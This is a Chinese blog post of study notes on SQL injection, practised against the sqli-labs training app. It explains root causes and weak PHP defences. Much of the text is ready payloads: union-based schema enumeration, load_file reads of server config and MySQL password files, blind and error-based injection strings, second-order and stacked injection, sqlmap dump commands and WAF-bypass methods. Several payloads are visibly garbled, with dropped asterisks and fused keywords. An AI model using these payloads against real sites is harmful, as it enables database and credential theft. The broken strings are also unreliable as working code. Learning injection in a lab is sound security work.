sql注入

数据库类型:

mysql,access,mssql,oracle,mongdb,sqlite,postsql

sql注入点产生原理:以sqllab第二关代码为例:

<?php
include("../sql-connections/sqli-connect.php");
error_reporting(0);
if(isset($_GET['id']))
{
$id=$_GET['id'];//接受数据
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";//数据拼接
$result=mysqli_query($con1, $sql);//执行sql语句
$row = mysqli_fetch_array($result, MYSQLI_BOTH);//展示执行完之后的结果

isset($_GET['id']定义了网站的参数名,

访问这串url其实也就是给了变量id=1的机会,过程中涉及到参数的传递,数据的接收,数据的交互,数据库的执行。这四个过程如果处理不得当会造成存在注入点。原理就是通过参数传递,把输入的恶意代码当做sql语句执行。产生原因:必须存在可控变量,必须带入数据库 查询,变量未过滤或者过滤不严谨。

第一个数据库的简单注入:

1:猜解列名数量(字段数):

通ordry by猜解字段数,直至报错,直接说明有三列

我们用联合查询看一下具体是在哪个位置报信息,该库实在2,3 处报错,此时我们查一下版本和用户。

2:信息收集:

数据库版本 version() 5.1.60-community

information_schema :在mysql5.0 以上版本中,mysql存在自带数据库名,他可以用来存储所有数据库名,表名,列名的数据库,也相当于可以通过查询他来查找想要数据库中的信息。

数据库名字 database() security

数据库用户 user() root@localhost

数据库操作系统 @@version_compile_os() Win64

数据库中,‘.’代表下一级的意思,如 information_schema.tables就是记录所有表明信息的表,information_schema.columns就是记录所有列名信息的表。table_name(表名),column_name(列名)。我们开始注入:

查询指定数据库名下的表明信息:

http://127.0.0.1/sql/Less-2/?id=-1 union select 1,2,table_name from information_schema.tables where table_schema= security 

这句话就是查询infrmation_schema下数据库名字为sercurity下的表明信息。

下来查询指定表名下的列名信息:

http://127.0.0.1/sql/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema= security 

加下来我们就可以查询指定数据了。

高权限注入:

高权限注入和数据库用户有直接关系,用户决定网站是否含有高权限注入。我们通过查询用户来判断是否含有高权限注入,高权限的用户是有代码决定的。比如这个库最高权限用户就是root。高权限的用户可以进行跨库查询。

我们可以从sqllab里的root用户读到海洋cms的普通用户的数据。

数据库中的文件读写操作:

load_file(读取文件的函数),into outfile或者into dompfile是写入函数。

我们用select load_file读取到文件内容,常见读取敏感信息的文件位置:

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件 ../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径 C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

我们用select out_file写入文件。在魔术引号magic_quotes_gpc=On的情况下,如果输入的数据有

单引号(’)、双引号(”)、反斜线()与 NULL(NULL 字符)等字符都会被加上反斜线。并且会限制文件读写,还有addslashes函数也和魔术引号有着相同的作用。

mysql防注入的方案:

自带防御:魔术引号:magic_quotes_gpc=On;仅是防御对文件的读写;

内置函数:int,用is_int,is_long等函数直接过滤用户的输入值;

自定义关键字:用$id=str__replace('select','fuck',$id)可以进行过滤,可以再select前面写正则表达式防止大小写绕过。

waf防护软件:安全狗,宝塔,阿里云盾等。

编码或宽字节绕过:

如果魔术引号打开或者addslashes函数调用的话,我们用编码或者宽字节来绕过魔术引号,我们直接将路径编码成十六进制即可绕过,如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节。

原理:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。在使用PHP连接MySQL的时候,当设置“character_set_client = gbk”时会导致一个编码转换的问题。

提交方法:

根据网站的情况来获取相应的请求方法,请求方法可以通过在访问网站的时候审查元素里数据包的前缀看查看,找到Request Headers(请求头)。不同的请求方式,它请求的数据类型或者大小都不同。一般大数据会采用POST提交。在注入时候需要按照网站的请求方法去注入。

GET、POST、COOKIE、REQUEST、HTTP头等,GET方法无法接收POST的值。在POST情况下GET的值只要在网址后面就能接收。GET、POST接收单个。REQUEST全部接收,网站在访问的时候由于我们大多数是黑盒测试,不知道对方代码写法,如果对方采用REQUEST接收方式,就不需要考虑用何种方法去提交,因为用GET、POST都可以。如果对方是单一接收方式,那么在注入的时候需要用它的方法去注入。$_SERVER是PHP里内置变量,全局变量,PHP写脚本时用它来获取系统的值,在数据包的某一个地方可以进行注入其中 SQL 语句干扰符号:',",%,),}等,具体需看写法。

判断提交方法:我们在谷歌中访问网站,让后将连接复制在火狐上,更改提交方式为post,如果页面还能正常显示,则证明为post传参。

post型注入:当看到登录框时,大部分为post传参,

我们看到这个登录框,直接抓包看到post类型传参,

http头注入:$_SERVER函数,用此函数获取设备信息,比如站长之家可以显示我们的ip等各种信息,我们可以通过抓包来进行改包,如果存在注入点的话,我们直接在改包中注入,这就是http头注入。

数据类型:

数字型,字符型,搜索型,json等

数字:数字可能不存在单引号,代码在数字上加单引号也是有可能的,要看代码的写法。

字符:一般是采用单引号,如果参数是字符的话那肯定是有单引号的,即使有注入也会带入单引号里,产生不了任何作用,所以我们要做的前提是先要把它的符号闭合掉,也有可能有括号,注入的时候需要进行尝试。

搜索:将数据进行搜索并进行展示,搜索符号是%,在过滤的时候要过滤单引号和百分号,不然语句全部在单引号和百分号里。

查询方式:

select,delete,insert,update,order by

回显/盲注

盲注:在住入过程中,获取的数据不能回显至前端页面,此时,我们需要用一些方法进行判断或者测试。具体有:有回显注入,无回显注入,时间盲注,布尔盲注。

布尔盲注——逻辑判断:

时间盲注——延时判断:

sleep:

mysql里的sleep函数就是让其沉睡。

if:

if函数的用法:if(condition,T,F),可以理解为:如果判断为真,则返回第二个参数;如果判断为假,则返回第三个参数。

时间盲注:

这里我们输入正确数据后,可以看见他沉睡了一秒。延时注入的原理就是可以通过数据库返回的时间来判断我们输入的条件是否成立。但是延时会受到网络的影响而造成误判。

函数的联合使用:

sleep(5) #SQL 语句延时执行 5 秒

mid(a,b,c) #从位置 b 开始,截取 a 字符串的 c 位

substr(a,b,c) #从 b 位置开始,截取字符串 a 的 c 长度

left(database(),1),database() #left(a,b)从左侧截取 a 的前 b 位

length(database())=8 #判断数据库 database()名的长度

ord=ascii ascii(x)=97 #判断 x 的 ascii 码是否等于 97

构造好payload之后,我们通过观察network可以发现其延时五秒,也就证明数据库的长度为八位。查到之后,我们就可以用asii和sub_str来查。

?id=1 and if(ascii(substr((select table_name fron information_schema.tables where table_schema=database() limit 0,1),1,1)=101,sleep(3),0)--+

由于我们盲注太浪时间,sqlmap也成为了注入中一个好用的工具。

报错盲注——报错回显:

我们知道的报错方式有12种,

1、通过floor报错,注入语句如下:

and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:

and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通过NAME_CONST报错,注入语句如下:

and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:

and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:

and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:

and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:

and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:

and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:

and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:

and linestring (()select * from(select user() )a)b );

我们可以看到时候post传参,注册用户为insert插入。

比较常见的有三种:

1:floor:

利用floor( )函数进行报错注入时,需要和rand( )、count(*)、group by等函数或命令进行配合。其中:

(1)floor(x):对参数x向下取整,比如floor(0.2)=0,floor(3.6)=3。

(2)rand( ):生成一个0~1之间的随机浮点数。

(3)count(*):统计某个表下总共有多少条记录。

(4)group by x:按照(by)一定的规则(x)进行分组。

构造好的payload:

http://127.0.0.1/sql/less-5/?id=1%27%20and%20(select%201%20from%20(select%20count(*),concat(database(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)--+
2:updataxml:

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,

第二个参数:XPath_string (Xpath格式的字符串) ,

第三个参数:new_value,String格式,替换查找到的符合条件的数据。

updataxml报错语句:

1.爆出数据库的版本信息

and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

因为concat()是将其连接成一个字符串,不符合xpath_string格式,会出现格式错误而报错。

2.爆出用户

and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

3.链接数据库

and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

4.爆表

and updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0)

5.爆列名

r=content&cid=1%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=0x7868%20and%20table_name=%200x6164776F7264%20limit%202,1),0x7e),1)

6.查数据

and updatexml(1,concat(0x7e,(select 列名 from 表名 limit 0,1),0x7e),1)

and updatexml(1,concat(0x7e,(select 列名 from 表名 limit 0,1),0x7e),1)

————————————————

3:extractvalue:

username=1'or extractvalue(1,concat(0x7e,version(),0x7e)) or '&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit

我们爆出版本在5.0以上。接下来按部就班的查询数据就可以了。

布尔盲注和时间盲注是是不需要回显信息就可以判断,报错回显是指对方不回显,我们强制性让他报错回显。

注入拓展

编码解码注入:

我们可以看到,这里的cookie通过base64进行编码,所以我们在注入的时候就要把注入语句通过base64进行编码注入。也就是需要将我们的注入语句和用户名一起进行编码即可绕过。而且这里也涉及到cookie注入。

json注入,ladp注入,

dnslog注入:

dnslog注入也可以称之为dns带外查询,是一种注入方法,可以通过查询相应的dns解析记录,来获取我们想要的数据。解决盲注不能回显数据,效率低的问题。需要的注入点是高权限,涉及到文件读取.(load_file)。

二次注入:

二次注入原理,主要分为两步,第一步:插入恶意数据,第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的恶意数据,但是数据本身包含恶意内容。

第二步:引用恶意数据,在将数据存入了数据库之后,开发者由于疏忽,认为数据是可信的,在下一次需要查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的监测与处理,这就造成了sql的二次注入。

我们在sqllab第24关先注册一个名为admin’#的用户,然后我们进行修改密码,

我们可以看到,我们登录admin’#直接修改掉了admin的密码。如果我们在此加上一些报错注入的话就可以拿到数据库信息了。

堆叠注入:

就是指一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。 这样我们就联想到多句sql语句一起使用。

使用场景:注入需要登录管理员账号密码,且密码是加密的,无法进行解密。这个时候我们就可以用堆叠注入,进行插入数据,并且自定义密码,可以进行正常的解密登录。

waf绕过

sqlmap的使用:

sqlmap的注入类型:

基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。

基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断。

基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。

联合查询注入,在可以使用Union的情况下注入。

堆查询注入,可以同时执行多条语句时的注入。

sqlmap使用方法:
1.判断注入点:sqlmap.py -u url(目标地址)
2.爆破数据库名:sqlmap.py -u http://xxx.com/?id=1 --dbs

--dbs:查看所有数据库名

--current-db:查看当前使用的数据库

3.爆破数据表名:sqlmap.py -u http://xxx.com/?id=1 –D 库名 --tables

-D:指定数据库名

--tables:查看指定库下面的所有的表名

4.爆破字段名:sqlmap.py -u http://xxx.com/?id=1 -D 库名 –T 表名 --columns

-T:指定表名

--columns:查看指定库的表中的所有字段名

5.爆破所有数据:sqlmap.py -u http://xxx.com/?id=1 -D 库名 –T 表名 -C 字段名 --dump

-C:指定字段名

--dump:根据指定的库、表、字段爆破里面的数据

更改提交方法,大小写混合,解密编码类,注释符混用,等价函数替换,特殊符号混用,借用数据库特性,http参数污染,垃圾数据溢出

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值